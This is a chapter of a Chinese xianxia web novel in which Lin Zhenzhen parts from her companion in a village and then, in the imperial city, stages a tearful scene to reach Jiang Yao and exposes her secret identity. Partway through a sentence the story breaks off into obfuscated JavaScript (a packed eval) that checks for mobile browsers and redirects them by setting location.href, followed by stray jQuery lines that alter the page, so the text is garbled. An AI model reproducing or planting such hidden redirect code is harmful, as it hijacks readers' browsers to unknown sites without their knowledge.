就这样,事情的实际发展虽与林蓁蓁先前预想不同,但也算殊途同归。
毕竟若按照她原本的打算,无非也就是先找个合适的地方安身,随后便要寻个由头,给鬼灵枢安排些事情做,好让她不至于到处乱跑。
唯有这样,她才能安心进城去抓紧将自己在此间的事情尽快了结。
如今村长主动找上门来提出这让鬼灵枢陪着村民进山的活计,本质上倒也正中她的下怀,省了她不少心思。
反正毒蛇毒虫之类对凡人或许致命,但对鬼灵枢而言,却如同玩泥巴般稀松平常。
总之,只要让她有事可做、不闲着。
便能杜绝她外出归来时,只看到一团黑炭的惨剧。
此番能在一日之内就将问题全部都解决倒也是个意外之喜。
于是在得到了鬼灵枢确切的答复之后,第二日,她便去回了村长的话,还得到了对方一通欢天喜地的招待。
剩下的时间她便都花在了同鬼灵枢叮嘱“修士该如何与凡人相处”的注意事项上。
而其中被她重复了一遍又一遍的重中之重,自然是:“无论如何不要调动灵力。一旦被凡人察觉到不对,天罚降临,你我二人加起来都不够劈的。”
“可若遇到危险不得不出手呢?我又当如何?”但现实可能会遇到的问题却也避无可避。
好在这个问题林蓁蓁早已想好了答案,倒也并未被难住:“你不是擅控蛇虫吗?搞点毒虫毒蛇的去,问题就不大...总之就是只能用凡人也能用的手段自保。”
是了。
受天道限,修士不可在凡界运用灵力伤人。
但若你用些不用灵力的手段呢?
天下何其之大,害人或自保的招式又何其之多。
反正只要不是主观作恶,又确实一点灵力都没有调用。
那么搞些损招什么的,此间天道倒也并不会那般死板。
所以还是有漏洞可钻的说。
鬼灵枢闻言恍然大悟的一拍手:“对哦!”随即露出个笑来:“我明白啦!”
“那你快去吧,记得多打听些八卦回来跟我讲。”
“啊还有,我要的话本子也别忘了!”
见此,林蓁蓁也终于放下了心来。
鬼灵枢果然对她随口编的借口一点疑心都未起。
于是林蓁蓁放心的转身打开院门,一步三回头的向着皇城的方向走去。
“咦,小七?你怎的回来的这般早...”
临去前还刚好撞上了完成任务归来的大肉虫。
脑中不由有瞬间想起了那夜遇见的男子来。
不得不说,还真是张好脸呐...只可惜不怎么有脑子。
“阿嚏!”
活生生在原地干躺了两日多的项之恒打了声喷嚏,伸手裹紧了身上的粗布衣。
那该死的符师,该死的大肉虫。
这一刻,什么故人之徒、脱身之法早已从他脑海中消失得无影无踪。“臭丫头……你最好别被我抓住!”只剩下这两日风吹雨淋的怨念,直气得他牙根发痒。
而此刻已身在皇城的林蓁蓁,显然对此一无所知。
毕竟眼下对她而言最重要的事,便是专心演好自己设定的剧本——一个想要报答“恩公”救命之恩的可怜孤女。
“那日若非世子妃,民女怕是早已……早已……呜呜呜……”林蓁蓁顶着那日被救女子的身份,声泪俱下地诉说着自己当日的后怕,以及今后愿为世子妃效犬马之劳的决心。
而当街被拦下的奢华车架中,碧珠几乎在哭喊声响起的第一时间,便将门帘挑开一道恰到好处的缝隙,好方便自家小姐能看清来人的面容。
于是,那道明显比当日被她救下时硬朗许多的身影,就这样闯入了江瑶的视线。此时正值晌午,外面正是人多的时候。林蓁蓁选的又是一处视野开阔的平地,是以周围很快聚集起不少凑热闹的百姓,窃窃私语的议论声也顺着碧珠打开的缝隙,飘进了江瑶的耳中。
有那一头雾水的,正在同周边人打听这是发生了何事。
自也有那恰好知晓那日事件经过的人,热心的同周边人解释起了那一日世子妃做下的善举。
林蓁蓁满意的听着自己引起的动静。
对于混到江瑶身边的谋算,她基本上是胸有成竹。
而事实也果然如此。
甚至于,那叫做碧珠的贴身侍女出现的比她所预料的还要再早上不少。
“你,别嚎了。”虽说她面上的表情其实一点都算不上和善。“起来跟我走。”
但反正她的目的成功达成,这些细枝末节的,倒也不必计较。
于是林蓁蓁连忙从地上爬起来,先是做出惊喜的样子擦掉脸上的泪水,随即脚步急切地跟着碧珠一同走进那扇抵得上农家一年吃穿费用的遮风帘后。
“民女见过世子妃,多谢世子妃救命之恩!”
甫一照面,时刻谨记自己人设的林蓁蓁便直接以头抢地行了个大礼。好在富贵人家的马车本就宽敞,不然以她此时这般大的动作,怕是早已整个人扎进江瑶怀里。
而车外那些眼睁睁看着事态发展到这一步的围观群众们,也从林蓁蓁被带进马车的那一刻起,就已经开始了新一轮对摄政王世子妃善行的赞扬,以及对刚才那孤女命好遇贵人的感慨。
而正被赞扬是菩萨心肠的女子此时面上的神情却是截然不同的冰冷。
江瑶就这么静静盯着脚边的女子,眸光沉沉。她没有让对方起身的意思,反倒先示意碧珠,让外面的车夫先行启程。
直到车马重新随着吱呀的声响摇晃起来,外间那座热闹的皇城也逐渐恢复了喧嚣。
“说吧,你是何人。”江瑶终于开口,语气冰冷的听不出任何情绪“是谁派你来的,想要什么,直说罢。”
说实话,她还真有些好奇眼前这陌生女子的来意。
毕竟她有自信自己这些年来一向都掩藏的很好,该从未露出过什么破绽才是。
作为身世显赫的世家女子,江瑶的身上无疑沾染着上位者特有的傲慢。这份傲慢让她自认一眼便看穿了眼前人低劣的伪装,却丝毫没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365618|199823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去想,这“看穿”本身或许正是对方计划中的一环。
于是当林蓁蓁语气里不见丝毫慌乱,反倒带着几分欣赏说出那句“怎会是有人指使呢?民女是为自己而来的呀,遥江仙大人。”
“遥江仙”三个字,被她咬得格外重。
而这三个字,也如同一道惊雷,劈乱了江瑶的心绪,也打乱了她的计划。
一旁的碧珠更是没忍住,下意识地开口惊呼:“你怎知...”话未说完便意识到失言,忙用双手紧紧捂住嘴,同时愧疚又慌乱地望向自家小姐。
相比之下,江瑶就要淡定得多。
除了最初的骇然,她几乎瞬间便恢复了先前的冷静。此时她只是轻轻抬手,安抚了慌张的碧珠,视线却一瞬都不曾离开林蓁蓁含笑的双眼。“姑娘在说什么,我怎么竟一句都听不懂呢。”
这是一场博弈。
虽对手是她从未预想过的意外角色,但江瑶并不害怕。
左不过,是又一只嗅着血腥味寻来的鬣狗而已。
见此,林蓁蓁心头对她的欣赏反倒又深了几分,心里也有了新的盘算。
就像执剑对峙的两人若想结束无谓的争斗与戒备,避免造成不必要的损伤,定然要有至少一方先让步,主动放下手中的剑。
既然对方确实如自己先前所想那般聪明,两人与其互相算计,倒不如打直球来得效率更高。
于是她收起先前的惺惺作态,自顾自从地上起身,毫不客气地一屁股坐在侧边垫了软垫的矮凳上,笑得洒脱:“江小姐不必惊慌,你是不是遥江仙并不重要,与我所求并无干系。”
“哦?”见她这般行径,江瑶眼中闪过意外,却也并未傻到完全相信她的坦诚:“那这倒是令本小姐有些好奇了。”
说着,她原本绷直的脊背放松下来,重新靠回了身后的软垫。
林蓁蓁轻笑,却并未接她的话茬,反倒说起了些莫名其妙的话:
“妹近日觅得皇城墙外一新奇物什,其主曰此物竟可号令蛇鼠,往城中屯粮米最多的人家中去,轻易便可毁其贮藏...”
同时,她自也没错过江瑶面上寸寸龟裂的神情。
“啧啧,也不知皇城墙外这奇物究竟是何时出现的,那可号蛇鼠的奇物又究竟是长什么样?”说着她略作停顿,随即又意味深长的补充:“莫不是刚好长得像鱼或虎吧...”
压垮骆驼的最后一根稻草落下。
那种对方对你了如指掌,你却对对方一无所知的感觉,让江瑶心底的风暴越刮越烈:“你究竟是何人!”
面上的虚假面具终于崩坏。
随着林蓁蓁口中那些本该不为人知的话语一字一句地吐出,江瑶最后一点试探的耐心消耗殆尽。
“你,所求究竟为何?”
...
碧珠愣愣地看着自家姑娘冷着眉眼从口中低低吐出这句满含威胁之意的话语。
恍惚之间,就像再次看到了多年前那位浑身肃杀之气的英雄。
将军您看,小姐如今,已愈发像您了。
-